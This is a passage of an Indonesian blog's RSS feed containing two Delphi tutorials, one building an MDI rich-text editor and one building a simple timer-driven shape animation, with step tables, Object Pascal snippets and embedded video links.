<p>E&amp;xit</p>
</td>
<td valign="top" width="208">
<p>&amp;Edit &amp;Character</p>
<p>Cu&amp;t <a class="zem_slink" title="Control key" href="http://en.wikipedia.org/wiki/Control_key" rel="wikipedia">Ctrl</a>-X </p>
<p>&amp;Copy Ctrl-C &amp;Right</p>
<p>&amp;Paste Ctrl-V &amp;Center</p>
<p>De&amp;lete Ctrl-D -</p>
<p>- &amp;Word Wrap</p>
<p>Select &amp;All -</p>
<p>&amp;Font&#8230;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>6</p>
</td>
<td valign="top" width="127">
<p>Save All</p>
</td>
<td valign="top" width="132">&#160;</td>
<td valign="top" width="208">&#160;</td>
</tr>
<tr>
<td valign="top" width="32">
<p>7</p>
</td>
<td valign="top" width="127">
<p>Menggabungkan Menu </p>
</td>
<td valign="top" width="132">
<p>frmFrame : File </p>
<p>frmFrame: Window</p>
<p>frmChild: File</p>
<p>frmChild: Edit </p>
<p>frmChild: Character</p>
</td>
<td valign="top" width="208">
<p>GroupIndex = 0</p>
<p>9</p>
<p>0 =&gt; File pada Frame akan tertimpa</p>
<p>1</p>
<p>1</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>8</p>
</td>
<td valign="top" width="127">
<p>Membuat Child saat runtime</p>
</td>
<td valign="top" width="132">
<p>frmFrame: File-&gt; New Click</p>
</td>
<td valign="top" width="208">
<p>Implementation</p>
<p>uses Unit2;</p>
<p>&#8230;</p>
<p>Var </p>
<p>editForm: TfrmChild;</p>
<p>begin</p>
<p>editForm := TfrmChild.Create(self);</p>
<p>end;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">&#160;</td>
<td valign="top" width="127">&#160;</td>
<td valign="top" width="132">
<p>frmClild: File-&gt;New Click</p>
</td>
<td valign="top" width="208">
<p>Implementation</p>
<p>uses Unit1;</p>
<p>{ $R *.dfm}</p>
<p>frmFrame.New1Click(nil);</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>9</p>
</td>
<td valign="top" width="127">
<p>Coba Run </p>
</td>
<td valign="top" width="132">&#160;</td>
<td valign="top" width="208">&#160;</td>
</tr>
<tr>
<td valign="top" width="32">
<p>10</p>
</td>
<td valign="top" width="127">
<p>Mengatur Child </p>
</td>
<td valign="top" width="132">
<p>Frame: Window-&gt; Tile Click</p>
</td>
<td valign="top" width="208">
<p>Tile</p>
</td>
</tr>
<tr>
<td valign="top" width="32">&#160;</td>
<td valign="top" width="127">&#160;</td>
<td valign="top" width="132">
<p>Frame: Window-&gt; Cascade Click</p>
</td>
<td valign="top" width="208">
<p>Cascade</p>
</td>
</tr>
<tr>
<td valign="top" width="32">&#160;</td>
<td valign="top" width="127">&#160;</td>
<td valign="top" width="132">
<p>Frame: Window-&gt; Arrange Click</p>
</td>
<td valign="top" width="208">
<p>Arrange</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>11</p>
</td>
<td valign="top" width="127">
<p>Membuat Daftar child window</p>
</td>
<td valign="top" width="132">&#160;</td>
<td valign="top" width="208">
<p>Frame: Properti WindowMenu = Window1</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>10</p>
</td>
<td valign="top" width="127">
<p>Membuat Text Editor pada Child</p>
</td>
<td valign="top" width="132">
<p>Drop komponen RichEdit</p>
</td>
<td valign="top" width="208">
<p>Align = alClient</p>
<p>Name = RichEdit1</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>11</p>
</td>
<td valign="top" width="127">
<p>Alignment Text</p>
</td>
<td valign="top" width="132">
<p>Character -&gt; Left,</p>
<p>ulangi untuk</p>
<p>Character -&gt; Right1</p>
<p>Character -&gt; Center</p>
</td>
<td valign="top" width="208">
<p><b>procedure </b>TfrmChild.AlignClick(Sender: TObject);</p>
<p><b>begin</b></p>
<p>Left1.Checked := False;</p>
<p>Right1.Checked := False;</p>
<p>Center1.Checked := False;</p>
<p><b>with </b>Sender <b>as </b>TMenuItem <b>do </b></p>
<p>Checked := True;</p>
<p><b>with </b>RichEdit1.Paragraph <b>do</b></p>
<p><b>if </b>Left1.Checked <b>then</b></p>
<p>Alignment := taLeftJustify</p>
<p><b>else if </b>Right1.Checked <b>then</b></p>
<p>Alignment := taRightJustify</p>
<p><b>else if </b>Center1.Checked <b>then</b></p>
<p>Alignment := taCenter;</p>
<p><b>end</b>;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>12</p>
</td>
<td valign="top" width="127">
<p>Scroll Bar dan Word Wrap</p>
</td>
<td valign="top" width="132">
<p>Character -&gt; Word Wrap</p>
</td>
<td valign="top" width="208">
<p><b>procedure </b>TEditForm.Wordwrap1Click(Sender: TObject);</p>
<p><b>begin</b></p>
<p><b>with </b>RichEdit1 <b>do</b></p>
<p><b>begin</b></p>
<p>WordWrap := <b>not </b>WordWrap; { toggle word wrapping }</p>
<p><b>if </b>WordWrap <b>then</b></p>
<p>ScrollBars := ssVertical</p>
<p><b>else</b></p>
<p>ScrollBars := ssBoth;</p>
<p>WordWrap1.Checked := WordWrap; { <b>set </b>menu item check }</p>
<p><b>end</b>;</p>
<p><b>end</b>;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>13</p>
</td>
<td valign="top" width="127">
<p>Memblok Text</p>
</td>
<td valign="top" width="132">
<p>Edit | Select All</p>
</td>
<td valign="top" width="208">
<p><b>procedure </b>TEditForm.Selectall1Click(Sender: TObject);</p>
<p><b>begin</b></p>
<p>RichEdit1.SelectAll;</p>
<p><b>end</b>;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>14</p>
</td>
<td valign="top" width="127">
<p>Cut Copy Paste</p>
</td>
<td valign="top" width="132">
<p>Edit-&gt;Cut, dll</p>
</td>
<td valign="top" width="208">
<p><b>procedure </b>TEditForm.Cut1Click(Sender: TObject);</p>
<p><b>begin</b></p>
<p>Editor.CutToClipboard;</p>
<p><b>end</b>;</p>
<p><b>procedure </b>TEditForm.Copy1Click(Sender: TObject);</p>
<p><b>begin</b></p>
<p>Editor.CopyToClipboard;</p>
<p><b>end</b>;</p>
<p><b></b></p>
<p><b>procedure </b>TEditForm.Paste1Click(Sender: TObject);</p>
<p><b>begin</b></p>
<p>Editor.PasteFromClipboard;</p>
<p><b>end</b>;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>15</p>
</td>
<td valign="top" width="127">
<p>Delete Text</p>
</td>
<td valign="top" width="132">
<p>Edit Delete</p>
</td>
<td valign="top" width="208">
<p><b>procedure </b>TEditForm.Delete1Click(Sender: TObject);</p>
<p><b>begin</b></p>
<p>Editor.ClearSelection;</p>
<p><b>end</b>;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>16</p>
</td>
<td valign="top" width="127">
<p>Membuka File</p>
</td>
<td valign="top" width="132">
<p>frmFrame: Drop Komponen OpenDialog</p>
</td>
<td valign="top" width="208">
<p>Properti Filter = </p>
<p>Rich text files (*.rtf) *.rtf</p>
<p>Plain text files (*.txt) *.txt</p>
<p>All files *.*</p>
</td>
</tr>
<tr>
<td valign="top" width="32">&#160;</td>
<td valign="top" width="127">&#160;</td>
<td valign="top" width="132">
<p>frmChild: File -&gt; Open Click</p>
</td>
<td valign="top" width="208">
<p>.</p>
<p>.</p>
<p><b>private</b></p>
<p>{ <b>private </b>declarations }</p>
<p>PathName: <b>string</b>;</p>
<p><b>public</b></p>
<p>{ <b>public </b>declarations }</p>
<p><b>procedure </b>Open(<b>const </b>fileName: <b>string</b>);</p>
<p><b>end</b>;</p>
<p>.</p>
<p>.</p>
<p>.</p>
<p><b>procedure </b>TEditForm.Open(<b>const </b>fileName: <b>string</b>);</p>
<p><b>begin</b></p>
<p>PathName := fileName;</p>
<p>Caption := ExtractFileName(fileName);</p>
<p><b>with </b>RichEdit1 <b>do</b></p>
<p><b>begin</b></p>
<p>Lines.LoadFromFile(PathName);</p>
<p>SelStart := 0;</p>
<p>Modified := False;</p>
<p><b>end</b>;</p>
<p><b>end</b>;</p>
<p><b>procedure </b>TEditForm.Open1Click(Sender: TObject);</p>
<p><b>begin</b></p>
<p>FrameForm.Open1Click(Sender);</p>
<p><b>end</b>;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">&#160;</td>
<td valign="top" width="127">&#160;</td>
<td valign="top" width="132">
<p>frmFrame: File -&gt; Open</p>
</td>
<td valign="top" width="208">
<p><b>procedure </b>TFrameForm.Open1Click(Sender: TObject);</p>
<p><b>begin</b></p>
<p><b>if </b>OpenFileDialog.Execute <b>then</b></p>
<p><b>with </b>TEditForm.Create(Self) <b>do</b></p>
<p>Open(OpenFileDialog.FileName);</p>
<p><b>end</b>;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>17</p>
</td>
<td valign="top" width="127">
<p>Save File</p>
</td>
<td valign="top" width="132">
<p>frmFrame: Drop komponen SaveDialog </p>
</td>
<td valign="top" width="208">
<p>Properti Filter = </p>
<p>Rich text files (*.rtf) *.rtf</p>
<p>Plain text files (*.txt) *.txt</p>
<p>All files *.*</p>
</td>
</tr>
<tr>
<td valign="top" width="32">&#160;</td>
<td valign="top" width="127">&#160;</td>
<td valign="top" width="132">
<p>frmChild: File -&gt; Save As</p>
</td>
<td valign="top" width="208">
<p><b>procedure </b>TEditForm.Saveas1Click(Sender: TObject);</p>
<p><b>begin</b></p>
<p>SaveFileDialog.FileName := PathName;</p>
<p><b>if </b>SaveFileDialog.Execute <b>then</b></p>
<p><b>begin</b></p>
<p>PathName := SaveFileDialog.FileName;</p>
<p>Caption := ExtractFileName(PathName);</p>
<p>Save1Click(Sender);</p>
<p><b>end</b>;</p>
<p><b>end</b>;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">&#160;</td>
<td valign="top" width="127">&#160;</td>
<td valign="top" width="132">
<p>File-&gt;Save</p>
</td>
<td valign="top" width="208">
<p><b>procedure </b>TEditForm.Save1Click(Sender: TObject);</p>
<p><b>begin</b></p>
<p><b>if </b>PathName = DefaultFileName <b>then</b></p>
<p>SaveAs1Click(Sender)</p>
<p><b>else</b></p>
<p><b>begin</b></p>
<p>Editor.Lines.SaveToFile(PathName);</p>
<p>Editor.Modified := False;</p>
<p><b>end</b>;</p>
<p><b>end</b>;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>18</p>
</td>
<td valign="top" width="127">
<p>Font Dialog</p>
</td>
<td valign="top" width="132">
<p>Child: Drop komponen FontDialog:</p>
<p>Character-&gt;FOnt</p>
</td>
<td valign="top" width="208">
<p><b>procedure </b>TEditForm.Font1Click(Sender: TObject);</p>
<p><b>begin</b></p>
<p>FontDialog1.Font := Editor.Font;</p>
<p><b>if </b>FontDialog1.Execute <b>then</b></p>
<p>Editor.SelAttributes.Assign(FontDialog1.Font);</p>
<p><b>end</b>;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>19</p>
</td>
<td valign="top" width="127">
<p>Mencetak File</p>
</td>
<td valign="top" width="132">
<p>Child: drop komponen PrinterDialog dan PrinterSetupDialog</p>
</td>
<td valign="top" width="208">&#160;</td>
</tr>
<tr>
<td valign="top" width="32">&#160;</td>
<td valign="top" width="127">&#160;</td>
<td valign="top" width="132">
<p>File-&gt;Print Setup</p>
</td>
<td valign="top" width="208">
<p><b>procedure </b>TEditForm.Printersetup1Click(Sender: TObject);</p>
<p><b>begin</b></p>
<p>PrinterSetupDialog1.Execute;</p>
<p><b>end</b>;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">&#160;</td>
<td valign="top" width="127">&#160;</td>
<td valign="top" width="132">
<p>File-&gt;Print</p>
</td>
<td valign="top" width="208">
<p><b>procedure </b>TEditForm.Print1Click(Sender: TObject);</p>
<p><b>begin</b></p>
<p><b>if </b>PrintDialog1.Execute <b>then</b></p>
<p>Editor.Print(PathName);</p>
<p><b>end</b>;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>20</p>
</td>
<td valign="top" width="127">
<p>Keluar</p>
</td>
<td valign="top" width="132">
<p>Frame: File-&gt;Exit</p>
</td>
<td valign="top" width="208">
<p><b>procedure </b>TFrameForm.Exit1Click(Sender: TObject);</p>
<p><b>begin</b></p>
<p>Close;</p>
<p><b>end</b>;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">&#160;</td>
<td valign="top" width="127">&#160;</td>
<td valign="top" width="132">
<p>Child: onClose</p>
</td>
<td valign="top" width="208">
<p><b>procedure </b>TEditForm.FormClose(Sender: TObject; <b>var </b>Action:</p>
<p>TCloseAction);</p>
<p><b>begin</b></p>
<p>Action := caFree;</p>
<p><b>end</b>;</p>
<p>TCloseAction describes how a form should respond when it is closed.</p>
<p>caFree The form is closed and all allocated memory for the form is freed.</p>
</td>
</tr>
<tr>
<td valign="top" width="32">&#160;</td>
<td valign="top" width="127">&#160;</td>
<td valign="top" width="132">
<p>Child : onQueryClose</p>
</td>
<td valign="top" width="208">
<p><b>procedure </b>TEditForm.FormCloseQuery(Sender: TObject; </p>
<p><b>var </b>CanClose: Boolean);</p>
<p><b>const</b></p>
<p>SWarningText = &#8216;Save changes <b>to </b>%s?&#8217;;</p>
<p><b>begin</b></p>
<p><b>if </b>Editor.Modified <b>then</b></p>
<p><b>begin</b></p>
<p><b>case </b>MessageDlg(Format(SWarningText, [PathName]), mtConfirmation,</p>
<p>[mbYes, mbNo, mbCancel], 0) </p>
<p><b>of</b></p>
<p>idYes: Save1Click(Self);</p>
<p>idCancel: CanClose := False;</p>
<p><b>end</b>;</p>
<p><b>end</b>;</p>
<p><b>end</b>;</p>
<p>Use OnCloseQuery to specify the conditions under which the form can close. An OnCloseQuery event handler returns a Boolean CanClose value that determines whether a form is allowed to close. Its default value is true. </p>
</td>
</tr>
<tr>
<td valign="top" width="32">&#160;</td>
<td valign="top" width="127">&#160;</td>
<td valign="top" width="132">
<p>Child: File -&gt; Exit</p>
</td>
<td valign="top" width="208">
<p><b>procedure </b>TEditForm.Exit1Click(Sender: TObject);</p>
<p><b>begin</b></p>
<p>FrameForm.Exit1Click(Sender);</p>
<p><b>end</b>;</p>
</td>
</tr>
<tr>
<td valign="top" width="32">
<p>21</p>
</td>
<td valign="top" width="127">
<p>Coba Run</p>
</td>
<td valign="top" width="133">&#160;</td>
<td valign="top" width="209">&#160;</td>
</tr>
</tbody>
</table>
<h2>Apa yang sudah dipelajari?</h2>
<ol>
<li>membuat form MDI child dan frame </li>
<li>membuka form saat runtime </li>
<li>membuat Menu </li>
<li>menggabungkan menu Frame dan Child </li>
<li>menggunakan komponen RichEdit alignment, word wrap , cut copy paste delete </li>
<li>menggunakan komponen Open, Save, PrinterSetup, Print, dan Font Dialog </li>
<li>menggunakan event form Close dan CloseQuery </li>
</ol>
</p>
<div class="zemanta-related">
<h6 style="font-size: 1em" class="zemanta-related-title">Related articles by Zemanta</h6>
<ul class="zemanta-article-ul">
<li class="zemanta-article-ul-li"><a href="http://www.jimkukral.com/how-to-use-tutorial-videos-to-explain-what-you-do/">How To Use Tutorial Videos To Explain &quot;What You Do&quot;</a> (jimkukral.com) </li>
<li class="zemanta-article-ul-li"><a href="http://teckline.wordpress.com/2009/03/10/create-your-own-community-driven-video-website-with-fliggo/">Create Your Own Community Driven Video Website With Fliggo</a> (teckline.wordpress.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.macworld.com/article/139225/2009/03/videos.html?lsrc=rss_main">Ask Video releases Pro Tools 8 video training</a> (macworld.com)</li>
</ul></div>
</p>
</p>
</p>
</p>
</p>
</p>
</p>
<div style="margin-top: 10px; height: 15px" class="zemanta-pixie"><a class="zemanta-pixie-a" title="Reblog this post [with Zemanta]" href="http://reblog.zemanta.com/zemified/8f95ea4a-fb02-4b4b-ac62-6af1d4e01476/"><img style="border-bottom-style: none; border-right-style: none; border-top-style: none; float: right; border-left-style: none" class="zemanta-pixie-img" alt="Reblog this post [with Zemanta]" src="http://img.zemanta.com/reblog_e.png?x-id=8f95ea4a-fb02-4b4b-ac62-6af1d4e01476" /></a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-point-of-sales/" rel="bookmark">15. Aplikasi Point of Sales</a></li><li><a href="http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 2 The Application Specification and UML Diagrams</a></li><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2009/07/gps-tracking-monitoring-application-with-google-map/" rel="bookmark">GPS Tracking Monitoring Application with Google Map</a></li><li><a href="http://www.dijexi.com/2009/06/konsep-database-dan-komponen-database/" rel="bookmark">12. Konsep Database dan Komponen Database</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Ftutorial-membuat-aplikasi-mdi%2F&amp;linkname=10.%20Aplikasi%20Multiple%20Document%20Interface"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-mdi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>09. Program Animasi</title>
		<link>http://www.dijexi.com/2009/06/tutorial-membuat-program-animasi/</link>
		<comments>http://www.dijexi.com/2009/06/tutorial-membuat-program-animasi/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 03:51:24 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[demo program]]></category>
		<category><![CDATA[interval]]></category>
		<category><![CDATA[klausa]]></category>
		<category><![CDATA[Shape]]></category>
		<category><![CDATA[SpeedBtn]]></category>
		<category><![CDATA[syntax]]></category>
		<category><![CDATA[timer]]></category>
		<category><![CDATA[type]]></category>
		<category><![CDATA[video tutorial]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=66</guid>
		<description><![CDATA[Pada video tutorial ini dijelaskan bagaimana membuat program animasi dengan tujuan untuk mempelajari tentang membuat animasi sederhana dengan menggunakan komponen tTimer, event onTImer, Shape, SpeedBtn, Syntax membuat type data baru, menggunakan klausa initialization, dan event timer. Video Tutorial Program [video1] Tutorial Membuat Program Animasi #1 [video2a] Tutorial Membuat Program Animasi #2 [video3] Tutorial Membuat Program [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Pada <a class="zem_slink" title="Tutorial" href="http://en.wikipedia.org/wiki/Tutorial" rel="wikipedia">video tutorial</a> ini dijelaskan bagaimana membuat program animasi dengan tujuan untuk mempelajari tentang membuat animasi sederhana dengan menggunakan komponen tTimer, event onTImer, Shape, SpeedBtn, Syntax membuat type data baru, menggunakan klausa initialization, dan event timer.</p>
<h2>Video Tutorial Program</h2>
<p>[video1]</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:8afbe1a7-972b-45ef-8a81-0fc07e537710" class="wlWriterEditableSmartContent">
<div><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/mBYq5c_lWck&amp;hl=en"></param><embed src="http://www.youtube.com/v/mBYq5c_lWck&amp;hl=en" type="application/x-shockwave-flash" width="425" height="355"></embed></object></div>
<div style="clear:both;font-size:.8em;">Tutorial Membuat Program Animasi #1</div>
</div>
<p> <span id="more-66"></span>
<p>[video2a]</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:3771811f-7d6d-469d-9617-a5eda83d3a17" class="wlWriterEditableSmartContent">
<div><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/sHi1y6gNP7U&amp;hl=en"></param><embed src="http://www.youtube.com/v/sHi1y6gNP7U&amp;hl=en" type="application/x-shockwave-flash" width="425" height="355"></embed></object></div>
<div style="clear:both;font-size:.8em;">Tutorial Membuat Program Animasi #2</div>
</div>
<p> [video3]</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:954c293e-740b-432c-9a29-927843c62860" class="wlWriterEditableSmartContent">
<div><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/5Nm0aNU2600&amp;hl=en"></param><embed src="http://www.youtube.com/v/5Nm0aNU2600&amp;hl=en" type="application/x-shockwave-flash" width="425" height="355"></embed></object></div>
<div style="clear:both;font-size:.8em;">Tutorial Membuat Program Animasi #3</div>
</div>
<h2>Langkah-langkah</h2>
<table border="0" cellspacing="0" cellpadding="2" width="500">
<tbody>
<tr>
<td valign="top" width="29">
<p>No</p>
</td>
<td valign="top" width="189">
<p>Action</p>
</td>
<td valign="top" width="95">&#160;</td>
<td valign="top" width="185">&#160;</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b>1</b></p>
</td>
<td valign="top" width="189">
<p><b>File-&gt;New-&gt;Application</b></p>
</td>
<td valign="top" width="95">
<p><b></b></p>
</td>
<td valign="top" width="185">
<p>Save All</p>
<p>create direktori &quot;<a class="zem_slink" title="Media Player (Microsoft)" href="http://www.microsoft.com/windows/windowsmedia" rel="homepage">media Player</a>&quot; </p>
<p>Project: ANIMASI.DPR</p>
<p>File: unit1.pas</p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b>2</b></p>
</td>
<td valign="top" width="189">
<p><b>Drop component</b></p>
</td>
<td valign="top" width="95">
<p><b>Name</b></p>
</td>
<td valign="top" width="185">
<p><b>Pallete</b></p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b></b></p>
</td>
<td valign="top" width="189">
<p>Panel1</p>
</td>
<td valign="top" width="95">
<p>Align: Right</p>
</td>
<td valign="top" width="185">
<p>Standard</p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b></b></p>
</td>
<td valign="top" width="189">
<p>Panel2</p>
</td>
<td valign="top" width="95">
<p>Align: Client</p>
</td>
<td valign="top" width="185">
<p>Standard</p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b></b></p>
</td>
<td valign="top" width="189">
<p>Shape1</p>
</td>
<td valign="top" width="95">
<p>Pen: Elipse</p>
</td>
<td valign="top" width="185">
<p>Additional</p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b></b></p>
</td>
<td valign="top" width="189">
<p>SpeedBtn1</p>
</td>
<td valign="top" width="95">
<p>Glyph: DAY.BMP</p>
</td>
<td valign="top" width="185">
<p>Additional</p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b></b></p>
</td>
<td valign="top" width="189">
<p>SpeedBtn2</p>
</td>
<td valign="top" width="95">
<p>ARROW2U.BMP</p>
</td>
<td valign="top" width="185">
<p>Additional</p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b></b></p>
</td>
<td valign="top" width="189">
<p>SpeedBtn3</p>
</td>
<td valign="top" width="95">
<p>ARROW2R.BMP</p>
</td>
<td valign="top" width="185">
<p>Additional</p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b></b></p>
</td>
<td valign="top" width="189">
<p>SpeedBtn4</p>
</td>
<td valign="top" width="95">
<p>ARROW2D.BMP</p>
</td>
<td valign="top" width="185">
<p>Additional</p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b></b></p>
</td>
<td valign="top" width="189">
<p>SpeedBtn5</p>
</td>
<td valign="top" width="95">
<p>ARROW2L.BMP</p>
</td>
<td valign="top" width="185">
<p>Additional</p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b></b></p>
</td>
<td valign="top" width="189">
<p>Timer1</p>
</td>
<td valign="top" width="95">
<p>Interval:100</p>
</td>
<td valign="top" width="185">
<p>System</p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b>4</b></p>
</td>
<td valign="top" width="189">
<p>Tambah Type data</p>
</td>
<td valign="top" width="95">
<p>Dibawah indetifier type </p>
</td>
<td valign="top" width="185">
<p>tArah = (diam,kiri, kanan, atas, bawah);</p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b>5</b></p>
</td>
<td valign="top" width="189">
<p>Tambah constanta</p>
</td>
<td valign="top" width="95">
<p>Di bawah type</p>
</td>
<td valign="top" width="185">
<p>Contst</p>
<p>langkah = 10;</p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b>6</b></p>
</td>
<td valign="top" width="189">
<p>Tambah variabel</p>
</td>
<td valign="top" width="95">
<p>Di bawah Form1</p>
</td>
<td valign="top" width="185">
<p>arah : tArah;</p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b>7</b></p>
</td>
<td valign="top" width="189">
<p>Tambah initialization</p>
</td>
<td valign="top" width="95">
<p>Di bawah implementation</p>
</td>
<td valign="top" width="185">
<p><b>Initialization</b></p>
<p>arah := diam;</p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b>8</b></p>
</td>
<td valign="top" width="189">
<p>Event handler</p>
</td>
<td valign="top" width="95">
<p>SpeedBtn1 .. 5</p>
</td>
<td valign="top" width="185">
<p><b>ChangeDirection</b></p>
<p><b></b></p>
<p><b>if sender=SpeedButton1 then</b></p>
<p>arah := diam</p>
<p><b>else if </b>sender=SpeedButton2 <b>then</b></p>
<p>arah := atas</p>
<p><b>else if </b>sender=SpeedButton3 <b>then</b></p>
<p>arah := kiri</p>
<p><b>else if </b>sender=SpeedButton4 <b>then</b></p>
<p>arah := bawah</p>
<p><b>else if </b>sender=SpeedButton5 <b>then</b></p>
<p>arah := kanan</p>
<p><b></b></p>
</td>
</tr>
<tr>
<td valign="top" width="29">
<p><b></b></p>
</td>
<td valign="top" width="189">&#160;</td>
<td valign="top" width="95">
<p>Timer onTimer</p>
</td>
<td valign="top" width="185">
<p><b>if arah=atas then</b></p>
<p><b>begin</b></p>
<p>Shape1.top := Shape1.Top &#8211; langkah;</p>
<p><b>if </b>Shape1.Top&lt;=0 <b>then</b></p>
<p>arah := bawah</p>
<p><b>end</b></p>
<p><b>else if </b>arah=bawah <b>then</b></p>
<p><b>begin</b></p>
<p>Shape1.top := Shape1.Top + langkah;</p>
<p><b>if </b>Shape1.top&gt;=(panel2.Height &#8211;             <br />Shape1.Height) <b>then</b></p>
<p>arah := atas</p>
<p><b>end</b></p>
<p><b>else if </b>arah=kiri <b>then</b></p>
<p><b>begin</b></p>
<p>Shape1.Left := Shape1.Left &#8211; langkah;</p>
<p><b>if </b>Shape1.Left&lt;=0 <b>then</b></p>
<p>arah := kanan</p>
<p><b>end</b></p>
<p><b>else if </b>arah=kanan <b>then</b></p>
<p><b>begin</b></p>
<p>Shape1.Left := Shape1.Left + langkah;</p>
<p><b>if </b>Shape1.Left&gt;=(panel2.Width &#8211;             <br />Shape1.Width) <b>then</b></p>
<p>arah := kiri</p>
<p><b>end</b>;</p>
<p><b></b></p>
</td>
</tr>
</tbody>
</table>
<p>&#160;</p>
<h2>Apa yang sudah dipelajari</h2>
<ol>
<li>membuat animasi sederhana dengan menggunakan komponen tTimer. </li>
<li>Komponen
<ol>
<li>Timer, event onTImer </li>
<li>Shape, properti </li>
<li>SpeedBtn </li>
</ol>
</li>
<li>Syntax
<ol>
<li>Membuat type data baru </li>
<li>menggunakan kalusa initialization </li>
<li>event timer </li>
</ol>
</li>
</ol>
<p>&#160;</p>
<p>&#160;</p>
</p>
</p>
</p>
<div class="zemanta-related">
<h6 style="font-size: 1em" class="zemanta-related-title">Related articles by Zemanta</h6>
<ul class="zemanta-article-ul">
<li class="zemanta-article-ul-li"><a href="http://teckline.wordpress.com/2009/03/10/create-your-own-community-driven-video-website-with-fliggo/">Create Your Own Community Driven Video Website With Fliggo</a> (teckline.wordpress.com) </li>
<li class="zemanta-article-ul-li"><a href="http://jessenewhart.com/twitter/how-to-find-great-links-for-twitter-that-get-retweeted-like-crazy/">How To Find Great Links For Twitter That Get Retweeted Like Crazy</a> (jessenewhart.com) </li>
</ul></div>
</p>
<div style="margin-top: 10px; height: 15px" class="zemanta-pixie"><a class="zemanta-pixie-a" title="Reblog this post [with Zemanta]" href="http://reblog.zemanta.com/zemified/8f95ea4a-fb02-4b4b-ac62-6af1d4e01476/"><img style="border-bottom-style: none; border-right-style: none; border-top-style: none; float: right; border-left-style: none" class="zemanta-pixie-img" alt="Reblog this post [with Zemanta]" src="http://img.zemanta.com/reblog_e.png?x-id=8f95ea4a-fb02-4b4b-ac62-6af1d4e01476" /></a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/tutorial-penggunaan-grafik-dan-multimedia/" rel="bookmark">17. Grafik dan Multimedia</a></li><li><a href="http://www.dijexi.com/2010/01/bash-redirection/" rel="bookmark">BASH Redirection</a></li><li><a href="http://www.dijexi.com/2009/06/mengenal-delphi-project-dan-object-pascal-2/" rel="bookmark">02. Mengenal Delphi Project dan Object Pascal</a></li><li><a href="http://www.dijexi.com/2009/07/membuat-sistem-gps-tracking/" rel="bookmark">Membuat Sistem GPS Tracking</a></li><li><a href="http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/" rel="bookmark">Restore MySQL database, stored procedure missing ?</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" 